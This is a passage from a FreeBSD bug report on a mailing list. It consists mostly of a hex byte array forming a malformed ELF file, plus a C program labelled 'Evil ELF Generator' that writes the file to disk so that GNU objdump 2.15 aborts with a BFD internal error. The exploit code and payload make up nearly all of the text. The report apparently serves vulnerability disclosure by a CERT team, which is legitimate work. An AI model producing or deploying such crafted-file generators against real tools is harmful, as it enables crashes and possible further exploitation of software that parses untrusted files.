    0x00, 0x00, 0x54, 0xEA, 0xBF, 0xBF, 0xFC, 0x16, 0x05, 0x28, 0x9F, 0x1A, 
    0x09, 0x28, 0x4F, 0xC3, 0xDA, 0x05, 0x00, 0x62, 0x07, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0xA0, 0x1A, 0x09, 0x28, 0xA0, 0x1A, 0x09, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0xED, 0x15, 0x05, 0x28, 0xA9, 0x84, 0x04, 0x08, 0x78, 0xC2, 
    0x08, 0x28, 0x9F, 0x1A, 0x09, 0x28, 0x7D, 0x15, 0x05, 0x28, 0x80, 0x8B, 
    0x08, 0x28, 0x20, 0x0B, 0x00, 0x00, 0xD4, 0xEA, 0xBF, 0x01, 0x18, 0xF0, 
    0x06, 0x28, 0x30, 0x70, 0x07, 0x28, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xEA, 
    0xBF, 0xBF, 0xFC, 0x16, 0x05, 0x28, 0xA9, 0x84, 0x04, 0x08, 0xA5, 0x90, 
    0xDE, 0x06, 0x00, 0x62, 0x07, 0x28, 0x01, 0x00, 0x00, 0x00, 0x8F, 0x84, 
    0x04, 0x01, 0x2F, 0xC3, 0xDA, 0x06, 0xA0, 0x1A, 0x09, 0x28, 0x00, 0x62, 
    0x07, 0x28, 0x10, 0x69, 0x08, 0x01, 0xA5, 0x90, 0xDE, 0x06, 0xA9, 0x84, 
    0x04, 0x08, 0x18, 0xF0, 0x06, 0x28, 0x70, 0x83, 0x04, 0x08, 0x00, 0x00, 
    0x00, 0x00, 0x24, 0xEB, 0xBF, 0xBF, 0xCB, 0x17, 0x05, 0x28, 0x08, 0xD0, 
    0x06, 0x28, 0xF8, 0xEA, 0xBF, 0xBF, 0x01, 0x00, 0x00, 0x00, 0xFC, 0xEA, 
    0xBF, 0xBF, 0x08, 0xD0, 0x06, 0x28, 0x00, 0x60, 0x07, 0x28, 0x00, 0x62, 
    0x07, 0x28, 0x18, 0xF0, 0x06, 0x28, 0x80, 0x8B, 0x08, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0x04, 0xEB, 0xBF, 0xBF, 0x52, 0x17, 0x05, 0x28, 0x00, 0x62, 
    0x07, 0x28, 0xF4, 0xEA, 0xBF, 0xBF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x62, 
    0x07, 0x28, 0x01, 0x00, 0x00, 0x01, 0xA5, 0x90, 0xDE, 0x06, 0xA9, 0x84, 
    0x04, 0x08, 0x00, 0x62, 0x07, 0x28, 0xC0, 0xEA, 0xBF, 0xBF, 0x02, 0x00, 
    0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x59, 0x3D, 0x05, 0x28, 0x18, 0xF0, 
    0x06, 0x28, 0xD0, 0x28, 0x12, 0x28, 0x44, 0xEB, 0xBF, 0xBF, 0x18, 0xF0, 
    0x06, 0x28, 0x6E, 0x9A, 0x13, 0x28, 0xA0, 0xB8, 0x14, 0x28, 0x34, 0x00, 
    0x00, 0x00, 0x90, 0xEB, 0xBF, 0xBF, 0x00, 0x93, 0x13, 0x28, 0x00, 0x30, 
    0x05, 0x08, 0xC0, 0x00, 0x00, 0x00, 0xA0, 0xEB, 0xBF, 0xBF, 0x00, 0x93, 
    0x13, 0x28, 0x34, 0x30, 0x05, 0x08, 0x00, 0x10, 0x05, 0x08, 0xC0, 0x00, 
    0x00, 0x00, 0xD8, 0x11, 0x16, 0x28, 0x40, 0xB2, 0x04, 0x08, 0x34, 0x00, 
    0x05, 0x00, 0x00, 0x00, 0x94, 0x85, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0xF0, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xA0, 0x83, 0x04, 0x08, 
    0x0D, 0x00, 0x00, 0x00, 0x88, 0x85, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 
    0x24, 0x81, 0x04, 0x08, 0x05, 0x00, 0x00, 0x00, 0xC4, 0x82, 0x04, 0x08, 
    0x06, 0x00, 0x00, 0x00, 0xB4, 0x81, 0x04, 0x08, 0x0A, 0x00, 0x00, 0x00, 
    0xB9, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 
    0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 
    0xF8, 0x96, 0x04, 0x08, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 
    0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 
    0x80, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 
    0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x4C, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0xCA, 0x83, 0x04, 0x08, 0xDA, 0x83, 0x04, 0x08, 0xEA, 0x83, 0x04, 0x08, 
    0xFA, 0x83, 0x04, 0x08, 0x00, 0x24, 0x46, 0x72, 0x65, 0x65, 0x42, 0x53, 
    0x44, 0x3A, 0x20, 0x73, 0x72, 0x63, 0x2F, 0x6C, 0x69, 0x62, 0x2F, 0x63, 
    0x73, 0x75, 0x2F, 0x63, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x2F, 0x63, 0x72, 
    0x74, 0x62, 0x72, 0x61, 0x6E, 0x64, 0x2E, 0x63, 0x2C, 0x76, 0x20, 0x31, 
    0x2E, 0x34, 0x2E, 0x32, 0x32, 0x2E, 0x31, 0x20, 0x32, 0x30, 0x30, 0x37, 
    0x2F, 0x31, 0x32, 0x2F, 0x30, 0x37, 0x20, 0x31, 0x34, 0x3A, 0x31, 0x36, 
    0x3A, 0x35, 0x33, 0x20, 0x6B, 0x69, 0x62, 0x20, 0x45, 0x78, 0x70, 0x20, 
    0x24, 0x00, 0x24, 0x46, 0x72, 0x65, 0x65, 0x42, 0x53, 0x44, 0x3A, 0x20, 
    0x73, 0x72, 0x63, 0x2F, 0x6C, 0x69, 0x62, 0x2F, 0x63, 0x73, 0x75, 0x2F, 
    0x69, 0x33, 0x38, 0x36, 0x2D, 0x65, 0x6C, 0x66, 0x2F, 0x63, 0x72, 0x74, 
    0x31, 0x2E, 0x63, 0x2C, 0x76, 0x20, 0x31, 0x2E, 0x31, 0x34, 0x20, 0x32, 
    0x30, 0x30, 0x35, 0x2F, 0x30, 0x35, 0x2F, 0x31, 0x39, 0x20, 0x30, 0x37, 
    0x3A, 0x33, 0x36, 0x3A, 0x30, 0x37, 0x20, 0x64, 0x66, 0x72, 0x20, 0x45, 
    0x78, 0x70, 0x20, 0x24, 0x00, 0x47, 0x43, 0x43, 0x3A, 0x20, 0x28, 0x47, 
    0x4E, 0x55, 0x29, 0x20, 0x33, 0x2E, 0x34, 0x2E, 0x36, 0x20, 0x5B, 0x46, 
    0x72, 0x65, 0x65, 0x42, 0x53, 0x44, 0x5D, 0x20, 0x32, 0x30, 0x30, 0x36, 
    0x30, 0x33, 0x30, 0x35, 0x00, 0x00, 0x47, 0x43, 0x43, 0x3A, 0x20, 0x28, 
    0x47, 0x4E, 0x55, 0x29, 0x20, 0x33, 0x2E, 0x34, 0x2E, 0x36, 0x20, 0x5B, 
    0x46, 0x72, 0x65, 0x65, 0x42, 0x53, 0x44, 0x5D, 0x20, 0x32, 0x30, 0x30, 
    0x36, 0x30, 0x33, 0x30, 0x35, 0x00, 0x00, 0x47, 0x43, 0x43, 0x3A, 0x20, 
    0x28, 0x47, 0x4E, 0x55, 0x29, 0x20, 0x33, 0x2E, 0x34, 0x2E, 0x36, 0x20, 
    0x5B, 0x46, 0x72, 0x65, 0x65, 0x42, 0x53, 0x44, 0x5D, 0x20, 0x32, 0x30, 
    0x30, 0x36, 0x30, 0x33, 0x30, 0x35, 0x00, 0x00, 0x47, 0x43, 0x43, 0x3A, 
    0x20, 0x28, 0x47, 0x4E, 0x55, 0x29, 0x20, 0x33, 0x2E, 0x34, 0x2E, 0x36, 
    0x20, 0x5B, 0x46, 0x72, 0x65, 0x65, 0x42, 0x53, 0x44, 0x5D, 0x20, 0x32, 
    0x30, 0x30, 0x36, 0x30, 0x33, 0x30, 0x35, 0x00, 0x00, 0x2E, 0x73, 0x79, 
    0x6D, 0x74, 0x61, 0x62, 0x00, 0x2E, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 
    0x00, 0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2E, 
    0x69, 0x6E, 0x74, 0x65, 0x72, 0x70, 0x00, 0x2E, 0x6E, 0x6F, 0x74, 0x65, 
    0x2E, 0x41, 0x42, 0x49, 0x2D, 0x74, 0x61, 0x67, 0x00, 0x2E, 0x68, 0x61, 
    0x73, 0x68, 0x00, 0x2E, 0x64, 0x79, 0x6E, 0x73, 0x79, 0x6D, 0x00, 0x2E, 
    0x64, 0x79, 0x6E, 0x73, 0x74, 0x72, 0x00, 0x2E, 0x72, 0x65, 0x6C, 0x2E, 
    0x70, 0x6C, 0x74, 0x00, 0x2E, 0x69, 0x6E, 0x69, 0x74, 0x00, 0x2E, 0x74, 
    0x65, 0x78, 0x74, 0x00, 0x2E, 0x66, 0x69, 0x6E, 0x69, 0x00, 0x2E, 0x72, 
    0x6F, 0x64, 0x61, 0x74, 0x61, 0x00, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 
    0x2E, 0x65, 0x68, 0x5F, 0x66, 0x72, 0x61, 0x6D, 0x65, 0x00, 0x2E, 0x64, 
    0x79, 0x6E, 0x61, 0x6D, 0x69, 0x63, 0x00, 0x2E, 0x63, 0x74, 0x6F, 0x72, 
    0x73, 0x00, 0x2E, 0x64, 0x74, 0x6F, 0x72, 0x73, 0x00, 0x2E, 0x6A, 0x63, 
    0x72, 0x00, 0x2E, 0x67, 0x6F, 0x74, 0x00, 0x2E, 0x62, 0x73, 0x73, 0x00, 
    0x2E, 0x63, 0x6F, 0x6D, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x02, 0x00, 0x00, 0x00, 0xF4, 0x80, 0x04, 0x08, 0xF4, 0x00, 0x00, 0x00, 
    0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 
    0x07, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0C, 0x81, 0x04, 0x08, 
    0x0C, 0x01, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x31, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 
    0x24, 0x81, 0x04, 0x08, 0x24, 0x01, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 
    0x02, 0x00, 0x00, 0x00, 0xB4, 0x81, 0x04, 0x08, 0xB4, 0x01, 0x00, 0x00, 
    0x10, 0x01, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xC4, 0x82, 0x04, 0x08, 
    0xC4, 0x02, 0x00, 0x00, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x47, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 
    0x80, 0x83, 0x04, 0x08, 0x80, 0x03, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x08, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x06, 0x00, 0x00, 0x00, 0xA0, 0x83, 0x04, 0x08, 0xA0, 0x03, 0x00, 0x00, 
    0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xB4, 0x83, 0x04, 0x08, 
    0xB4, 0x03, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x56, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 
    0x04, 0x84, 0x04, 0x08, 0x04, 0x04, 0x00, 0x00, 0x84, 0x01, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x06, 0x00, 0x00, 0x00, 0x88, 0x85, 0x04, 0x08, 0x88, 0x05, 0x00, 0x00, 
    0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x94, 0x85, 0x04, 0x08, 
    0x94, 0x05, 0x00, 0x00, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x6A, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 
    0x3C, 0x96, 0x04, 0x08, 0x3C, 0x06, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x02, 0x00, 0x00, 0x00, 0x48, 0x96, 0x04, 0x08, 0x48, 0x06, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x00, 0x00, 0x00, 
    0x06, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x4C, 0x96, 0x04, 0x08, 
    0x4C, 0x06, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
    0x83, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 
    0xE4, 0x96, 0x04, 0x08, 0xE4, 0x06, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x8A, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x00, 0x00, 0xEC, 0x96, 0x04, 0x08, 0xEC, 0x06, 0x00, 0x00, 
    0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x91, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0xF4, 0x96, 0x04, 0x08, 
    0xF4, 0x06, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x96, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 
    0xF8, 0x96, 0x04, 0x08, 0xF8, 0x06, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x9B, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x00, 0x00, 0x14, 0x97, 0x04, 0x08, 0x14, 0x07, 0x00, 0x00, 
    0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x14, 0x07, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x11, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x44, 0x08, 0x00, 0x00, 0xA9, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x0C, 0x00, 0x00, 
    0x60, 0x04, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x10, 0x11, 0x00, 0x00, 0x0D, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0x80, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x0C, 0x81, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x02, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x24, 0x81, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x81, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0xC4, 0x82, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x05, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x80, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x83, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0xB4, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x08, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x04, 0x84, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x85, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x94, 0x85, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0B, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x3C, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x96, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x4C, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0E, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0xE4, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0x96, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0xF4, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x11, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0xF8, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x97, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x14, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x17, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0xF1, 0xFF, 0x08, 0x00, 0x00, 0x00, 0x0C, 0x81, 0x04, 0x08, 
    0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x0F, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0xF1, 0xFF, 
    0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0xF1, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0xF1, 0xFF, 0x0F, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0xF1, 0xFF, 
    0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x04, 0x00, 0xF1, 0xFF, 0x55, 0x00, 0x00, 0x00, 0xE4, 0x96, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x00, 0x63, 0x00, 0x00, 0x00, 
    0xEC, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 
    0x71, 0x00, 0x00, 0x00, 0x48, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x0D, 0x00, 0x84, 0x00, 0x00, 0x00, 0xF4, 0x96, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x11, 0x00, 0x91, 0x00, 0x00, 0x00, 
    0x44, 0x96, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0C, 0x00, 
    0x95, 0x00, 0x00, 0x00, 0x14, 0x97, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x13, 0x00, 0xA1, 0x00, 0x00, 0x00, 0x98, 0x84, 0x04, 0x08, 
    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x09, 0x00, 0xB7, 0x00, 0x00, 0x00, 
    0x18, 0x97, 0x04, 0x08, 0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x13, 0x00, 
    0xC0, 0x00, 0x00, 0x00, 0xE4, 0x84, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
    0x02, 0x00, 0x09, 0x00, 0x4A, 0x00, 0x00, 
};

int exploit( int argc, char * argv[] );

int main( int argc, char * argv[] )
{
    int returnf = exploit( argc, argv );

    return returnf;
}

int exploit( int argc, char * argv[] )
{
    const char * file_name;
    FILE       * file_descriptor;
    int          returnf;
    
    returnf = 0;
    
    puts
    (
        " Evil ELF Generator for GNU objdump 2.15 [FreeBSD] 2004-05-23\n"
        " This ELF generates a message BFD: BFD 2.15 [FreeBSD] 2004-05-23 \n"
        " internal error, aborting at /usr/src/gnu/usr.bin/binutils/libbfd/\n"
        " ../../../../contrib/binutils/bfd/elfcode.h line 188 in \n"
        " bfd_elf32_swap_symbol_in \n"
        " BFD: Please report this bug.\n"
        " - \n"
        " INTECO-CERT, David Reguera Garcia - david.reguera at inteco.es\n"
        " http://cert.inteco.es\n"
        " - \n"
        " Usage: ./evil_elf_generator [file_to_dump] (arg optional)\n"
        "\n"
    );
    
    if ( argc < NR_MIN_ARGS )
        file_name = DEFAULT_EVILEF_NAME;
    else
        file_name = argv[NR_EVILEF_NAME];
    
    file_descriptor = fopen( file_name, "wb+" );
    if ( file_descriptor == NULL )
    {
        perror( " Error: openning evil ELF" );
        returnf = -1;
    }
    else
    {
        if ( fwrite( payload, sizeof(payload), 1, file_descriptor ) != 1 )
        {
            printf( " Error: generating evil ELF %s\n", file_name );
            perror( "" );
            returnf = -1;
        }
        else
            printf( " Generated evil ELF: %s\n", file_name );
        
        fclose( file_descriptor );
    }        
    
    return returnf;
}

/* EOF */

>Fix:


>Release-Note:
>Audit-Trail:
>Unformatted:


More information about the freebsd-bugs mailing list